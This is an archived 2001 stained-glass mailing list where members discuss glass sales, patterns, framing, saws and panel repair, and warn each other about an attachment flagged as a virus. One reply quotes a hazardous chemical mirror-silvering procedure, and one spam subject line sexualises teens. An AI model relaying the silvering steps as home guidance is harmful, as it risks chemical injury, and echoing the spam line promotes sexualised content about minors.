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For anyone that has access to a Hobby Lobby, their stained glass is 1/2 off
this week.  <snip>

Thanks for the info.  I'm going to be near a Hobby Lobby tomorrow so I will
certainly stop in.
Robin

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From owner-glass Mon Feb 12 19:10:39 2001
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From: "siriusdream" <siriusdream@email.msn.com>
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Date: Mon, 12 Feb 2001 18:36:19 -0800
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This is a multi-part message in MIME format.

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Hi Everyone,

 Just wanted to mention were having 20% to 25% on selected stained glass =
for Valentine,=20
stop on by if you get a chance! Thanks for posting about the spectrum =
glass sale.

Visions In Stained Glass

Daniel


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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi Everyone,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;Just&nbsp;wanted to mention were =
having 20%=20
to 25% on selected stained glass for Valentine, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>stop on by if you get a chance! Thanks =
for posting=20
about the spectrum glass sale.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://www.dreamkeepersandtheorderoflight.com/">Visions In =
Stained=20
Glass</A></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Daniel</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

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From owner-glass Tue Feb 13 15:14:31 2001
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From: "Maureen & David Humphreys" <searun@sprintmail.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: New to the group.
Date: Tue, 13 Feb 2001 13:42:25 -0800
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Hi,
Just wanted to say hi to the other folks on the list. I have been enjoying
the glass art for a few year now. I am currently working on a group of
medieval style windows. Anyone have a pattern for a great castle?
Maureen


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From owner-glass Tue Feb 13 16:22:09 2001
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Subject: panel backgrounds
Date: Tue, 13 Feb 2001 19:06:14 EST
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I have a bathroom panel I want to start for myself. =A0It is a picture of a=20
bathroom sink with a hand holding a tube of toothpaste and a toothbrush. It=20
is going to be a real fun project! Question I have, though, is which=20
direction should I have the background going? I was told that the background=
=20
should be horizontal so that it doesn't look like the piece is "melting" or=20
"running" down. However, the glass I have chosen imitates my actual walls=20
pretty well and it is definitely vertical. Which way should I go? I sorta=20
think the vertical, but would it pull the eyes down to much? Hope I have mad=
e=20
sense with this question. =A0All of my other panels have been made with the=20
glass going horizontally. But, just don't know on this one.


Ruth
"If we quit voting will they all go away?"
http://members.aol.com/RTSkeeter
 ICQ11716411



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<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2>I have a bathroom panel I=
 want to start for myself. =A0It is a picture of a=20
<BR>bathroom sink with a hand holding a tube of toothpaste and a toothbrush.=
 It=20
<BR>is going to be a real fun project! Question I have, though, is which=20
<BR>direction should I have the background going? I was told that the backgr=
ound=20
<BR>should be horizontal so that it doesn't look like the piece is "melting"=
 or=20
<BR>"running" down. However, the glass I have chosen imitates my actual wall=
s=20
<BR>pretty well and it is definitely vertical. Which way should I go? I sort=
a=20
<BR>think the vertical, but would it pull the eyes down to much? Hope I have=
 made=20
<BR>sense with this question. =A0All of my other panels have been made with=20=
the=20
<BR>glass going horizontally. But, just don't know on this one.
<BR>
<BR>
<BR>Ruth
<BR>"If we quit voting will they all go away?"
<BR>http://members.aol.com/RTSkeeter
<BR> ICQ11716411
<BR>
<BR></FONT></HTML>

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From owner-glass Tue Feb 13 21:06:35 2001
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From: "Peggy W. Johnsen" <edupjohn@slonet.org>
To: Maureen & David Humphreys <searun@sprintmail.com>
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Date: Tue, 13 Feb 2001 20:51:41 -0800 (PST)
Message-ID: <1970Jan1.000.0>
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Hi Maureen:  Issue #50 of the Stained Glass News had a great castle
pattern.  If you shop where they have the SGN, they will probably let you
have a copy free.  Peggy

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From owner-glass Wed Feb 14 13:08:25 2001
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From: "Maureen & David Humphreys" <searun@sprintmail.com>
To: "Art glass" <glass@bungi.com>
Content-Type: text/plain;
Subject: Support for 20 inch circle?
Date: Wed, 14 Feb 2001 08:13:49 -0800
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Dear Peggy,
Thanks for the tip and I will check for a #50 issue of SGN next time I go to
my local glass shop in Tacoma, WA.

On another subject, I am working on an astronomy design which is sized at a
20 inch circle, using the heavier drapery glass and many globs and bevel
stars. Can I get away with lead came for the boarder or should I just spend
the money and buy an oak frame?
I may not be able to do a perfect zinc circle ! And a brass 'frame' would
detract from the piece's look.
Maureen

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From owner-glass Wed Feb 14 16:43:05 2001
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From: Family Account <shad@mail2.nai.net>
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Subject: Re: panel backgrounds
Date: Wed, 14 Feb 2001 19:16:21 -0500
Message-ID: <1970Jan1.000.0>
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PookyPook@aol.com wrote:

> I have a bathroom panel I want to start for myself.  It is a picture
> of a
> bathroom sink with a hand holding a tube of toothpaste and a
> toothbrush. It
> is going to be a real fun project! Question I have, though, is which
> direction should I have the background going? I was told that the
> background
> should be horizontal so that it doesn't look like the piece is
> "melting" or
> "running" down. However, the glass I have chosen imitates my actual
> walls
> pretty well and it is definitely vertical....<snip>

I assume you are talking about the "grain" of the glass, for lack of a
better word (ie, the direction the streaks are running).  I've never
heard it described as looking "melting" or " running".  I simply try to
use the grains and swirls in the glass to enhance the overall effect I'm
striving to achieve.  For example, one piece I've made is of a flapper
type woman, and the background behind her has the grain going vertically
to enhance her appearance of being long and narrow.

Go for what looks good to you.

Dorothy

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From owner-glass Thu Feb 15 04:40:04 2001
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From: "shoaib safder" <sit78@hotmail.com>
To: glass@bungi.com
Content-Type: text/plain; format=flowed
Subject: mirror silvering
Date: Thu, 15 Feb 2001 17:20:00 +0500
Message-ID: <1970Jan1.000.0>
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hi
sir,
i want to know about the formulas of mirror silvering and mirror  backing 
paint(texture) and if u have some kind of book about the same
plz tell me about the name of book and how can i got that book.
i will b thank full to u.
bye.
waiting for ur reply.
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.

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From owner-glass Thu Feb 15 06:24:36 2001
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X-Path: altavista.com!jakalb
From: Janene Kalb <jakalb@altavista.com>
To: glass@bungi.com
Content-Type: text/plain
Subject: Band Saw or Ring Saw?
Date: 15 Feb 2001 05:52:53 -0800
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hello all -

I am debating the purchase of a glass saw (it's a belated Christmas/birthday present).  I am soliciting your opinions about whether to get a ring saw or a band saw.  What do you see as the merits/problems of each?  I have used both and don't have a strong feeling for one or the other.

What do you think?  Thanks in advance for enlightening me!

Janene


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From owner-glass Thu Feb 15 06:53:05 2001
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X-Path: earthlink.net!kremmert
From: "Kurt Remmert" <kremmert@earthlink.net>
To: "'shoaib safder'" <sit78@hotmail.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: mirror silvering
Date: Thu, 15 Feb 2001 08:12:28 -0600
Message-ID: <1970Jan1.000.0>
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Here is one site that has some information.

http://users.ticnet.com/mikefirth/mirror.htm

Kurt

-----Original Message-----
From: shoaib safder [mailto:sit78@hotmail.com]
Sent: Thursday, February 15, 2001 6:20 AM
To: glass@bungi.com
Subject: mirror silvering


hi
sir,
i want to know about the formulas of mirror silvering and mirror  backing 
paint(texture) and if u have some kind of book about the same
plz tell me about the name of book and how can i got that book.
i will b thank full to u.
bye.
waiting for ur reply.
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.

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From owner-glass Thu Feb 15 08:19:23 2001
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From: "Spitzer, Charlie" <Charlie.Spitzer@stratus.com>
To: "'shoaib safder'" <sit78@hotmail.com>, glass@bungi.com
Content-Type: text/plain;
Subject: RE: mirror silvering
Date: Thu, 15 Feb 2001 07:10:12 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

here's a post on the http://warmglass.com bulletin board on how to do this.
it is not something that the normal person will want to do at home. it is
EXTREMELY dangerous to do.
---------------------------------------------------------
Here's the info about mirroring solution... Peacock Laboratories is the 
manufacturer. I'll see if I can find their phone number. 

Shayna 

Mirroring Solution Safety Precautions THESE ARE NOT OPTIONAL! 

You must wear the following: * Latex Gloves * Safety Glasses * Apron * 
Respirator with Ammonia Filter 

Work in the plaster room or outside. The reason for this is that the
chemicals 
are extremely hazardous to breathe. Unless you are in a well ventilated
area, 
the vapors will stay in the air and others will breathe them! If you cannot 
work outside, the plaster room is the next best option. It is sealed off
with 
a fan which pulls air outside. You may even wish to add another fan to the 
plaster room for better air circulation. 

Items you will need: 

1. Object to be mirrored 2. Distilled or deionized water 3. @ 5 or 6 plastic

or glass containers 4. Concentrated solutions A, B, and C 5. Concentrated
#93 
solution 6. Measuring spoons and measuring cup. 7. Cerium or pumice paste 8.

Sponge 9. Hairdryer 10. Big Bucket 

DO NOT PROCEED IF YOU ARE MISSING ANY OF THESE ITEMS. 

Mirroring Solution Procedure 

Step 1: Measuring and Diluting the Solutions 

There are 4 solutions you will use in this process: Solution A, B, C, and
#93. 
A, B, and C will form your mirroring solution. #93 is the sensitizer or 
primer. These are concentrated solutions which you will dilute with
distilled 
water. You will need 4 containers for this. Add the appropriate amount of 
concentrated solution to the appropriate amount of distilled water based on 
the information provided below. Do not mix each solution with anything but
the 
diluted water at this time! 

Amount ofEach Solution Amount of Distilled Water Total Amnt of Mirroring 
solution you will make 4 oz (8 tbsp) 1 gal (16 cups) 3 gallons 2 oz (4 tbsp)
2 
quarts (8 cups) 1 1/2 gallons 1 oz (2 tbsp) 1 quart (4 cups) 3 quarts 1/2 oz
(1 
tbsp) 1 pint (2 cups) 1 1/2 quarts 1/4 oz (1/2 tbsp) 1 cup 1 1/2 pints 1/8
oz (2/3 
tsp) 1/2 cup 1 1/2 cup 1/16 oz (3/8 tsp) 1/4 cup 3/4 cup Use 1-2 ounces of
each 
diluted chemical per square foot of glass 

How much do I mix of each solution? Keep in mind that the diluted solutions
A, 
B, and C will eventually be mixed together to form the mirroring solution.
So 
if you mix 1/4 oz of each solution with a cup of water, you will end up with
3 
cups worth of mirroring solution. Do you need that much to coat the surface
of 
your object? If not, you will need to adjust accordingly. Remember, this
stuff 
is expensive and will go a long way if you're smart. 

Step 2: Preparing the Glass 

The surface of the glass must be clean before you begin. Using a sponge and 
cerium oxide paste, (pumice will also work), scrub the surface of the glass 
object to be silvered. Rinse with water. Then rinse with distilled water. 
Note: the surface must always be wet. 

Step 3: Applying the Sensitizer 

Apply the diluted #93 sensitizing (tinning) solution with a sponge, brush,
or 
pour it on. Try to insure uniform distribution. Let the sensitizer sit for 
10-20 seconds. Pour excess solution off into a lidded jar or ziplock bag and

dispose. Rinse with distilled water. DO NOT LET SURFACE DRY. 

Step 4: Applying the Mirroring Solution 

Mix equal amounts of the diluted A, B, and C in a plastic or glass pouring
cup 
and stir. Pour onto wet glass. Note: if the surface is concave like the
inside 
of a bowl, you will want to pour in the mixture and swirl it around to cover

the area to be silvered. There is no need to pour as much mixture into the 
bowl as it can hold. You will wind up with a lot of waste. If the surface is

convex, like the outside of a bowl, you will want to pour over the bowl into
a 
pan. You may then reuse the solution which runs off into the pan, so long as

it is immediately poured back onto the piece. Waiting too long causes the 
solution to set. Let the solution set until the desired amount of film is 
deposited onto the glass (no longer than 2-3 minutes). Rinse with distilled 
water into a bucket. Do not rinse down the drain. Remove excess water by 
drying the surface with a hairdryer. 

Step 5: Disposal 

If you have any left over mirroring solution mix, as well as, the left over 
solution/water in the bucket, you can combine both into a container with a 
little salt and regular water. Eventually the mix will separate leaving
silver 
on the bottom of the container, with the rest being water. You can pour the 
water off and keep or sell the silver. 
----------------------------------------------------------
regards,
charlie
phx, az

> -----Original Message-----
> From: shoaib safder [mailto:sit78@hotmail.com]
> Sent: Thursday, February 15, 2001 5:20 AM
> To: glass@bungi.com
> Subject: mirror silvering
> 
> 
> hi
> sir,
> i want to know about the formulas of mirror silvering and 
> mirror  backing 
> paint(texture) and if u have some kind of book about the same
> plz tell me about the name of book and how can i got that book.
> i will b thank full to u.
> bye.
> waiting for ur reply.
----
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From owner-glass Thu Feb 15 13:37:01 2001
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Maureen & David Humphreys <searun@sprintmail.com>
Subject: Re: Support for 20 inch circle?
Date: Thu, 15 Feb 2001 17:52:07 +0000
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

You could make it with 1/2 inch lead calme.  Put brass picture wire in
the outer channel, and close the outside leaves of the calme to retain
the wire.  This will be strong enough to hold the panel up and hold the
panel together.

Steve

In message <1970Jan1.000.0@?>, Maureen & David Humphreys
<searun@sprintmail.com> writes
>Dear Peggy,
>Thanks for the tip and I will check for a #50 issue of SGN next time I go to
>my local glass shop in Tacoma, WA.
>
>On another subject, I am working on an astronomy design which is sized at a
>20 inch circle, using the heavier drapery glass and many globs and bevel
>stars. Can I get away with lead came for the boarder or should I just spend
>the money and buy an oak frame?
>I may not be able to do a perfect zinc circle ! And a brass 'frame' would
>detract from the piece's look.
>Maureen
>
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-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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----VE096VG5EV4X--

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From owner-glass Thu Feb 15 16:06:11 2001
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Received: by daver.bungi.com
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	id <m14TY9P-00054Ma@daver.bungi.com>
	for rglass-42; Thu, 15 Feb 2001 15:49:27 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: pacifier.com!ptap
From: Pamela Burns-Tappan <ptap@pacifier.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: NG-Looking for Jana Ugone
Date: Thu, 15 Feb 2001 15:47:51 -0800
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi All,

Jana is a glass artist from the Northampton, MA area. Does anyone know
how to get in touch with her or where her shop may be?

Thanks,

Pam

--

Ms. Pamela Burns-Tappan
SGA Executive Director
http://stainedglassartists.com


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From owner-glass Thu Feb 15 17:06:25 2001
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	id <m14TZFI-000536a@daver.bungi.com>
	for rglass-42; Thu, 15 Feb 2001 16:59:36 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: home.com!kristc
From: "Kris" <kristc@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Gatewayed mail message
Date: Thu, 15 Feb 2001 19:57:50 -0500
Message-ID: <1970Jan1.000.0>
References: <<200102152302.BAA10210@eis17.eis.com.eg>>
Precedence: bulk

What is this gifomagi thing? I'm not going to open an attachment, especially
an .exe one without a good explanation. Did you send it on purpose?

Kris, the paranoid :o)

----- Original Message -----
From: <MAILER-DAEMON@daver.bungi.com>
To: <glass@bungi.com>
Sent: Thursday, February 15, 2001 6:02 PM
Subject: Gatewayed mail message


>
>

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From owner-glass Thu Feb 15 17:36:12 2001
Return-Path: <owner-glass>
Received: by daver.bungi.com
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	id <m14TZhi-000547a@daver.bungi.com>
	for rglass-42; Thu, 15 Feb 2001 17:28:58 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: softhouse.com!giapet
From: "Karen K." <giapet@softhouse.com>
To: "Kris" <kristc@home.com>, <glass@bungi.com>
Subject: Re: Gatewayed mail message
Date: Thu, 15 Feb 2001 20:27:08 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Not taking any chances on an exe attachment, I deleted it.
Karen
giapet@softhouse.com


> What is this gifomagi thing? I'm not going to open an attachment,
especially
> an .exe one without a good explanation. Did you send it on purpose?
>
> Kris, the paranoid :o)
>
> ----- Original Message -----
> From: <MAILER-DAEMON@daver.bungi.com>
> To: <glass@bungi.com>
> Sent: Thursday, February 15, 2001 6:02 PM
> Subject: Gatewayed mail message
>
>
> >
> >
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>


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From owner-glass Thu Feb 15 18:02:21 2001
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	id <m14TZjd-0004VMa@daver.bungi.com>
	for rglass-42; Thu, 15 Feb 2001 17:30:57 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: dellepro.com!gunnx4
From: Suzanne Gunn <gunnx4@dellepro.com>
To: Kris <kristc@home.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Gatewayed mail message
Date: Thu, 15 Feb 2001 19:11:30 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: glassdancer
Precedence: bulk

Hi Kris, My norton didnt warn me about it, but I just deleted it since I
didnt know what it was or who it was from.

Suzanne

Kris wrote:
> 
> What is this gifomagi thing? I'm not going to open an attachment, especially
> an .exe one without a good explanation. Did you send it on purpose?
> 
> Kris, the paranoid :o)
> 
> ----- Original Message -----
> From: <MAILER-DAEMON@daver.bungi.com>
> To: <glass@bungi.com>
> Sent: Thursday, February 15, 2001 6:02 PM
> Subject: Gatewayed mail message
> 
> >
> >
> 
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
----
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Archives available at http://www.bungi.com/glass

From owner-glass Thu Feb 15 19:03:55 2001
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Received: by daver.bungi.com
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	id <m14Taq7-00055la@daver.bungi.com>
	for rglass-42; Thu, 15 Feb 2001 18:41:43 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: earthlink.net!kremmert
From: "Kurt Remmert" <kremmert@earthlink.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: Gatewayed mail message
Date: Thu, 15 Feb 2001 19:10:52 -0600
Message-ID: <1970Jan1.000.0>
References: <<200102152302.BAA10210@eis17.eis.com.eg>>
Precedence: bulk

GIFOMAGIC.exe has a virus per Norton's

w95.hybris.gen

Kurt Remmert

-----Original Message-----
From: MAILER-DAEMON@daver.bungi.com
[mailto:MAILER-DAEMON@daver.bungi.com]
Sent: Thursday, February 15, 2001 5:02 PM
To: glass@bungi.com
Subject: Gatewayed mail message




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From owner-glass Thu Feb 15 20:04:32 2001
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X-Path: go.com!officerjqg
From: James Garner <officerjqg@go.com>
To: glass@bungi.com
Content-Type: text/plain; charset=iso-8859-1
Subject: EXE file
Date: Thu, 15 Feb 2001 19:38:32 -0800 (PST)
Message-ID: <1970Jan1.000.0>
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When I get home I will run a scan on the file but if someone has confirmed that the file is a virus and knows what it will do, I would appreciate the info.  I will then get with my provider and make some calls to track it down.  I do not take this activity lightly and will use my resorces to end it.

James
James Garner
___________________________________________________
GO.com Mail                                    
Get Your Free, Private E-mail at http://mail.go.com


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From owner-glass Thu Feb 15 21:40:27 2001
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X-Path: yahoo.com!rott70
From: marcia s <rott70@yahoo.com>
To: glass@bungi.com
Content-Type: multipart/alternative; boundary="0-1045840785-982293689=:7065"
Subject: DO Not open gatewayed message
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The norton's at yahoo mail called it  a worm.  W95.Hybris.worm   Said it was pretty serious internet virus.   So do not open.  marcia   


---------------------------------
Do You Yahoo!?
- Get personalized email addresses from Yahoo! Mail Personal Address  - only $35 a year!
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The norton's at yahoo mail called it&nbsp; a worm.&nbsp; W95.Hybris.worm&nbsp;&nbsp; Said it was pretty serious internet virus.&nbsp;&nbsp; So do not open.&nbsp; marcia&nbsp;&nbsp; <p><br><hr size=1><b>Do You Yahoo!?</b><br>
- Get personalized email addresses from <a href=http://personal.mail.yahoo.com/>Yahoo! Mail Personal Address</a>  - only $35 
a year!
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From owner-glass Thu Feb 15 22:42:44 2001
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X-Path: msn.com!paylin
From: "lin" <paylin@msn.com>
To: "Maureen & David Humphreys" <searun@sprintmail.com>,	"Art glass" <glass@bungi.com>
Content-Type: text/plain;	charset="iso-8859-1"
Subject: Re: Support for 20 inch circle?
Date: Thu, 15 Feb 2001 22:40:26 -0800
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

If you shop in Tacoma, I would strongly suggest you go to Mandarin for your
glass supplies and information.  Flo and her crew are some of the most
knowledgeable and helpful people I have ever met!  I have taken taken
several classes throughout the years from places all over the country and
have learned something new everytime I have taken one of their classes.  In
truth, Flo helped to write the book (literally)on stained glass technique
and isn't snobbish about helping others learn as well.   But prepare to
spend some time there because all the folks that work there seem to be more
into sharing ideas and information and helping to insure that your
individual needs are met than making a quick sale.
For what it's worth
lin


----- Original Message -----
From: "Maureen & David Humphreys" <searun@sprintmail.com>
To: "Art glass" <glass@bungi.com>
Sent: Wednesday, February 14, 2001 8:13 AM
Subject: Support for 20 inch circle?


> Dear Peggy,
> Thanks for the tip and I will check for a #50 issue of SGN next time I go
to
> my local glass shop in Tacoma, WA.
>
> On another subject, I am working on an astronomy design which is sized at
a
> 20 inch circle, using the heavier drapery glass and many globs and bevel
> stars. Can I get away with lead came for the boarder or should I just
spend
> the money and buy an oak frame?
> I may not be able to do a perfect zinc circle ! And a brass 'frame' would
> detract from the piece's look.
> Maureen
>
> ----
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>
>
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From owner-glass Fri Feb 16 00:44:41 2001
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X-Path: worldnet.att.net!Moya-Don
From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Band or Ring Saw
Date: Thu, 15 Feb 2001 20:38:03 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0012_01C0978F.31BD9740
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	charset="Windows-1252"
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Janene,
There has been a lot of discussion about the merits of each type of saw =
in the past if you wish to look through the archives.  Several bungians =
have shared their thoughts on each.
My personal favorite is the ring saw because it cuts in any direction =
due to the cutting material being all the way around the blade.
Take a look at the archives to help you decide.
Moya

------=_NextPart_000_0012_01C0978F.31BD9740
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	charset="Windows-1252"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3018.900" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>Janene,</DIV>
<DIV>There has been a lot of discussion about the merits of each type of =
saw in=20
the past if you wish to look through the archives.&nbsp; Several =
bungians have=20
shared their thoughts on each.</DIV>
<DIV>My personal favorite is the ring saw because it cuts in any =
direction due=20
to the cutting material being all the way around the blade.</DIV>
<DIV>Take a look at the archives to help you decide.</DIV>
<DIV>Moya</DIV></BODY></HTML>

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From owner-glass Fri Feb 16 04:26:53 2001
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X-Path: softhouse.com!giapet
From: "Karen K." <giapet@softhouse.com>
To: "Bungi" <glass@bungi.com>
Subject: Re: Motor home window
Date: Fri, 16 Feb 2001 07:09:47 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I've seen this done two diff ways.  First was a small 12 x 18 panel set
into a camper door over the clear glass.  The window was slightly
smaller than the frame and had flexiable silicone adhesive holding it in
place.  The woman said it had been in the door for at least 5 years with
no problems.  The second one I saw was a panel that was about 4" smaller
(on all sides) than the camper window (24 x 30), was framed in zinc and
attached by 4 hooks with small springs between the hooks & the panel.
Looked something like this.

  \_____ /
   l           l
   l_____ l
  /           \

Karen



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From owner-glass Fri Feb 16 04:59:21 2001
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X-Path: toledolink.com!asaris
From: "a saris" <asaris@toledolink.com>
To: "Kurt Remmert" <kremmert@earthlink.net>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Gatewayed mail message
Date: Fri, 16 Feb 2001 07:30:30 -0500
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I remember the senders name from the snow white virus a few weeks ago.
Tony
----- Original Message ----- 
From: "Kurt Remmert" <kremmert@earthlink.net>
To: <glass@bungi.com>
Sent: Thursday, February 15, 2001 8:10 PM
Subject: RE: Gatewayed mail message


> GIFOMAGIC.exe has a virus per Norton's
> 
> w95.hybris.gen
> 
> Kurt Remmert
> 
> -----Original Message-----
> From: MAILER-DAEMON@daver.bungi.com
> [mailto:MAILER-DAEMON@daver.bungi.com]
> Sent: Thursday, February 15, 2001 5:02 PM
> To: glass@bungi.com
> Subject: Gatewayed mail message
> 
> 
> 
> 
> ----
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> 

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From owner-glass Fri Feb 16 10:08:51 2001
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Subject: >>  WET SLIPPERY TEEN ACTION  <<. . . . ... ... .. . . .                         17170
Date: Fri, 16 Feb 2001 10:58:54 -0500
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From owner-glass Fri Feb 16 12:36:11 2001
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X-Path: aol.com!Kauriee
From: Kauriee@aol.com
To: glass@bungi.com
Content-Type: multipart/alternative; boundary="part1_b7.b85d74d.27bee64e_boundary"
Subject: Re: Support for 20 inch circle?
Date: Fri, 16 Feb 2001 15:23:42 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk


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In a message dated 02/16/2001 1:45:13 AM Eastern Standard Time, 
paylin@msn.com writes:


> If you shop in Tacoma, I would strongly suggest you go to Mandarin for your
> glass supplies and information.  Flo and her crew are some of the most
> knowledgeable and helpful people I have ever met!  

I will second that!  I worked briefly for Flo several years ago.  She is very 
knowledgeable and very willing to share her information!  I still call her 
from time to time!  I believe that she was president of the SGAA at one point 
in time as well.

Kauriee Wood
The Looking Glass
Dover, Delaware

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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>In a message dated 02/16/2001 1:45:13 AM Eastern Standard Time, 
<BR>paylin@msn.com writes:
<BR>
<BR>
<BR><BLOCKQUOTE TYPE=CITE style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">If you shop in Tacoma, I would strongly suggest you go to Mandarin for your
<BR>glass supplies and information. &nbsp;Flo and her crew are some of the most
<BR>knowledgeable and helpful people I have ever met! &nbsp;</BLOCKQUOTE>
<BR>
<BR>I will second that! &nbsp;I worked briefly for Flo several years ago. &nbsp;She is very 
<BR>knowledgeable and very willing to share her information! &nbsp;I still call her 
<BR>from time to time! &nbsp;I believe that she was president of the SGAA at one point 
<BR>in time as well.
<BR>
<BR>Kauriee Wood
<BR>The Looking Glass
<BR>Dover, Delaware</FONT></HTML>

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From owner-glass Fri Feb 16 16:44:35 2001
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X-Path: bellsouth.net!ddhess
From: Dina and Don Hess <ddhess@bellsouth.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Panel repair advice
Date: Fri, 16 Feb 2001 18:39:52 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Well, it finally happened: my biggest, most ambitious project to date is
broken.  I need all of the advice on repair that I can get (and all of
the advice I can get on how not to scream at my husband, who I otherwise
adore but who I had asked to hang this panel in a safe place for
literally *months* now.  He thought it looked great propped in the
bottom half of the big window at the bottom of our stairs.  And it did
-- but we have a 3 year old.  Dozens of requests to hang it up in the
window I had chosen fell on deaf ears, since she was always 'careful.'
Fast forward to a ball thrown down the steps into the center of the
panel 15 minutes ago.)

Anyway.... repair advice appreciated.

Dina
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From owner-glass Fri Feb 16 17:22:56 2001
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X-Path: aol.com!Bobfuses
From: Bobfuses@aol.com
To: ddhess@bellsouth.net, glass@bungi.com
Content-Type: multipart/alternative; boundary="part1_72.7ec71ae.27bf2ab7_boundary"
Subject: Re: Panel repair advice
Date: Fri, 16 Feb 2001 20:15:35 EST
Message-ID: <1970Jan1.000.0>
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In a message dated 2/16/01 4:45:35 PM Pacific Standard Time, 
ddhess@bellsouth.net writes:


> Anyway.... repair advice appreciated.
> 
> Dina
> 
Not until you describe the damage. Is the panel foiled or leaded, etc.?


Cheers, Bob in 9 2 0 2 6

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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2><B>In a message dated 2/16/01 4:45:35 PM Pacific Standard Time, 
<BR>ddhess@bellsouth.net writes:
<BR>
<BR></B>
<BR><BLOCKQUOTE TYPE=CITE style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">Anyway.... repair advice appreciated.
<BR>
<BR>Dina
<BR></BLOCKQUOTE>
<BR><B>Not until you describe the damage. Is the panel foiled or leaded, etc.?
<BR>
<BR>
<BR>Cheers, Bob in 9 2 0 2 6</B></FONT></HTML>

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From owner-glass Fri Feb 16 18:07:06 2001
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X-Path: dellepro.com!gunnx4
From: Suzanne Gunn <gunnx4@dellepro.com>
To: Dina and Don Hess <ddhess@bellsouth.net>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Panel repair advice
Date: Fri, 16 Feb 2001 19:56:39 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: glassdancer
Precedence: bulk

Is it leaded or copperfoiled, how many pieces are broken and what are
the shapes of the broken peices.

Suzanne

Dina and Don Hess wrote:
> 
> Well, it finally happened: my biggest, most ambitious project to date is
> broken.  I need all of the advice on repair that I can get (and all of
> the advice I can get on how not to scream at my husband, who I otherwise
> adore but who I had asked to hang this panel in a safe place for
> literally *months* now.  He thought it looked great propped in the
> bottom half of the big window at the bottom of our stairs.  And it did
> -- but we have a 3 year old.  Dozens of requests to hang it up in the
> window I had chosen fell on deaf ears, since she was always 'careful.'
> Fast forward to a ball thrown down the steps into the center of the
> panel 15 minutes ago.)
> 
> Anyway.... repair advice appreciated.
> 
> Dina
> ----
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From owner-glass Fri Feb 16 18:28:16 2001
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X-Path: dellepro.com!gunnx4
From: Suzanne Gunn <gunnx4@dellepro.com>
To: Dina and Don Hess <ddhess@bellsouth.net>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Panel repair advice
Date: Fri, 16 Feb 2001 19:59:00 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: glassdancer
Precedence: bulk

PS

I did that with my first good sized panel.  Sat it in the window so I
